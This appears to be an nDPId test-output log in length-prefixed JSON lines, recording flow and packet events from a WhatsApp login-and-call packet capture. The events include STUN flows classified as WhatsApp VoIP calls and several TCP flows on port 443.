+00577{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":791350,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACa9a4AAEARYfvAqAIEHw1AMMk+DZYAhnzzAAMAaiESpEIAAN5oNK0Wc\/NrxVVAAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":225,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1432582238791,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.85.48","src_port":51518,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00576{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":791504,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACa8J4AAEARUgvAqAIEHw1VMMk+DZYAhiWBAAMAaiESpEIAADIU0Oi5cQTqY2RAAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":225,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1432582238791,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.85.48","src_port":51518,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00576{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":791682,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaLVIAAEARFVjAqAIEHw1VMMk+DZYAhiWBAAMAaiESpEIAADIU0Oi5cQTqY2RAAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":227,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1432582238791,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.91.48","src_port":51518,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00576{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":791744,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaNZEAAEARBxnAqAIEHw1bMMk+DZYAhs2+AAMAaiESpEIAAJhbSrigEVALo05AAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":227,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1432582238791,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.91.48","src_port":51518,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00576{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":791932,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACa90wAAEARRV3AqAIEHw1bMMk+DZYAhs2+AAMAaiESpEIAAJhbSrigEVALo05AAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":229,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1432582238791,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.79.192","src_port":51518,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00576{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":791993,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACahRkAAEARwwDAqAIEHw1PwMk+DZYAhkfEAAMAaiESpEIAADsyhsRFd5d2aQVAAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":229,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1432582238791,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.79.192","src_port":51518,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00576{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":792200,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaCdEAAEARPknAqAIEHw1PwMk+DZYAhkfEAAMAaiESpEIAADsyhsRFd5d2aQVAAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":231,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1432582238792,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.93.48","src_port":51518,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00576{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":231,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":792300,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaWjwAAEAR4G3AqAIEHw1dMMk+DZYAhleUAAMAaiESpEIAAOhOyhcXEAbXGlxAAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":231,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1432582238792,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.93.48","src_port":51518,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00576{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":792451,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaWaMAAEAR4QbAqAIEHw1dMMk+DZYAhleUAAMAaiESpEIAAOhOyhcXEAbXGlxAAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":233,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1432582238792,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.73.48","src_port":51518,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00576{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":233,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":792569,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACagnUAAEARzDTAqAIEHw1JMMk+DZYAhhoqAAMAaiESpEIAABpmz0oddRqYGlZAAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":233,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1432582238792,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.73.48","src_port":51518,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00576{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":792699,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACakcIAAEARvOfAqAIEHw1JMMk+DZYAhhoqAAMAaiESpEIAABpmz0oddRqYGlZAAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00467{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":235,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":857632,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABI28gAAFURZ\/MfDUAwwKgCBA2WyT4ANKxZAQMAGCESpEIAAN5oNK0Wc\/NrxVUAIAAIAAGRdm4xsYdAAgAIAAABTYyOMnU="} +00467{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":857679,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABI28kAAFURZ\/IfDUAwwKgCBA2WyT4ANKxXAQMAGCESpEIAAN5oNK0Wc\/NrxVUAIAAIAAGRdm4xsYdAAgAIAAABTYyOMnc="} +00465{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":878783,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIJlcAAFMRBGUfDVswwKgCBA2WyT4ANP0WAQMAGCESpEIAAJhbSrigEVALo04AIAAIAAGRdm4xsYdAAgAIAAABTYyOMoM="} +00465{"flow_id":27,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":878787,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIJlgAAFMRBGQfDVswwKgCBA2WyT4ANP0UAQMAGCESpEIAAJhbSrigEVALo04AIAAIAAGRdm4xsYdAAgAIAAABTYyOMoU="} +00466{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":888244,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIKucAAE4R+\/YfDWQOwKgCBA2WyT4ANMZzAQMAGCESpEIAAHUQ+ENDH9BeI3kAIAAIAAGRdm4xsYdAAgAIAAABTYyOMnw="} +00466{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":888265,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIKugAAE4R+\/UfDWQOwKgCBA2WyT4ANMZxAQMAGCESpEIAAHUQ+ENDH9BeI3kAIAAIAAGRdm4xsYdAAgAIAAABTYyOMn4="} +00465{"flow_id":29,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":888266,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIUUgAAFYR1HMfDV0wwKgCBA2WyT4ANIbjAQMAGCESpEIAAOhOyhcXEAbXGlwAIAAIAAGRdm4xsYdAAgAIAAABTYyOMow="} +00465{"flow_id":29,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":897932,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIUUkAAFYR1HIfDV0wwKgCBA2WyT4ANIbhAQMAGCESpEIAAOhOyhcXEAbXGlwAIAAIAAGRdm4xsYdAAgAIAAABTYyOMo4="} +00465{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":990342,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIHLUAAFQRHwcfDUkwwKgCBA2WyT4ANElHAQMAGCESpEIAABpmz0oddRqYGlYAIAAIAAGRdm4xsYdAAgAIAAABTYyOMr4="} +00465{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":991668,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIHLYAAFQRHwYfDUkwwKgCBA2WyT4ANElFAQMAGCESpEIAABpmz0oddRqYGlYAIAAIAAGRdm4xsYdAAgAIAAABTYyOMsA="} +00464{"flow_id":24,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582239,"pkt_ts_usec":35303,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIsFoAAFQRjmEfDUYwwKgCBA2WyT4ANL3lAQMAGCESpEIAACUBlIyWX5N55xQAIAAIAAGRdm4xsYdAAgAIAAABTYyOMrg="} +00464{"flow_id":24,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582239,"pkt_ts_usec":35335,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIsFsAAFQRjmAfDUYwwKgCBA2WyT4ANL3kAQMAGCESpEIAACUBlIyWX5N55xQAIAAIAAGRdm4xsYdAAgAIAAABTYyOMrk="} +00465{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582239,"pkt_ts_usec":55080,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABI6QYAAFMRTSUfDU\/AwKgCBA2WyT4ANHa7AQMAGCESpEIAADsyhsRFd5d2aQUAIAAIAAGRdm4xsYdAAgAIAAABTYyOMuQ="} +00465{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582239,"pkt_ts_usec":55087,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABI6QcAAFMRTSQfDU\/AwKgCBA2WyT4ANHa5AQMAGCESpEIAADsyhsRFd5d2aQUAIAAIAAGRdm4xsYdAAgAIAAABTYyOMuY="} +00464{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582239,"pkt_ts_usec":83443,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIAeoAAFYRK9IfDVUwwKgCBA2WyT4ANFR5AQMAGCESpEIAADIU0Oi5cQTqY2QAIAAIAAGRdm4xsYdAAgAIAAABTYyOMuM="} +00464{"flow_id":26,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582239,"pkt_ts_usec":83446,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"APS5Jrv0xiwDYGpkCABFAABIAesAAFYRK9EfDVUwwKgCBA2WyT4ANFR4AQMAGCESpEIAADIU0Oi5cQTqY2QAIAAIAAGRdm4xsYdAAgAIAAABTYyOMuQ="} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":272,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1432582244297,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.167.142.31","src_port":49164,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582244,"pkt_ts_usec":297765,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAojkRAAEAGShnAqAIEEaeOH8AMAbt6TdZMbFoWmFAR\/\/+4DAAA"} +00422{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582244,"pkt_ts_usec":435488,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAoqu8AAO0GwG0Rp44fwKgCBAG7wAxsWhaYek3WTVARn\/4YDQAA"} +00423{"flow_id":31,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582244,"pkt_ts_usec":462183,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoPbFAAEAGmqzAqAIEEaeOH8AMAbt6TdZNbFoWmVAQ\/\/+4CwAA"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":278,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1432582245413,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.8","src_port":49167,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582245,"pkt_ts_usec":413387,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAodlRAAEAGjBvAqAIEEaxkCMAPAbv4S5DjkuqnU1AR\/\/\/yOgAA"} +00422{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582245,"pkt_ts_usec":550551,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAo3Q8AAO8Gtl8RrGQIwKgCBAG7wA+S6qdT+EuQ5FARn\/5SOwAA"} +00426{"flow_id":32,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582245,"pkt_ts_usec":576371,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAo\/ZBAAEAGBN\/AqAIEEaxkCMAPAbv4S5DkkuqnVFAQ\/\/\/yOQAA"} 